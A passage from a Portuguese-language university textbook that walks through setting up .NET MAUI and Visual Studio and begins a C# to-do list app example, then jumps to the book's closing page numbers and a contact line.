necessidades de interface do usuário, performance esperada e apoio da comunidade e da Microsoft.
8.2 Desenvolvimento de aplicativos móveis
Para criar uma aplicação usando .NET MAUI em C#, precisamos seguir alguns passos básicos,
que envolvem configurar o ambiente de desenvolvimento, criar o projeto e desenvolver a aplicação
propriamente dita. A seguir, um passo a passo:
• Instale o .NET SDK: certifique‑se de ter o .NET 6 SDK (ou superior) instalado no sistema.
Você pode verificar a versão instalada usando o comando dotnet--version no terminal ou
prompt de comando.
266
Unidade IV
• Instale o Visual Studio: para desenvolver com .NET MAUI, é recomendável usar o Visual Studio
2022 (ou superior) com a carga de trabalho .NET Mobile Development instalada. Isso fornece
todas as ferramentas necessárias para desenvolver .NET MAUI.
• Crie um novo projeto .NET MAUI:
— Abra o Visual Studio e selecione Criar um Novo Projeto.
— Na caixa de pesquisa, digite MAUI e escolha o template Aplicativo .NET MAUI e clique em Próximo.
— Nomeie seu projeto, escolha onde salvá‑lo e clique em Criar.
• Desenvolva sua aplicação: com o projeto criado, você pode começar a desenvolver sua aplicação
. NET MAUI editando o arquivo MainPage.xaml para a interface do usuário e MainPage.xaml.cs
para a lógica por trás da interface.
• Execute sua aplicação: você pode executar sua aplicação .NET MAUI diretamente do Visual
Studio selecionando o dispositivo ou emulador desejado na barra de ferramentas e pressionando
o botão de execução (F5).
Para exemplificar o desenvolvimento com o .NET MAUI, vamos criar a aplicação de uma lista de
tarefas na qual o aluno pode adicionar e remover tarefas à medida que as completa. Esse exemplo ilustra
conceitos importantes como manipulação de listas, interface de usuário dinâmica e interação básica do
usuário. Na figura 103 definimos a interface do usuário com um campo para entrada de texto (linha 6),
um3. ed. Nova York: Manning, 2023.
295
296
297
298
Informações:
www.sepi.unip.br ou 0800 010 9000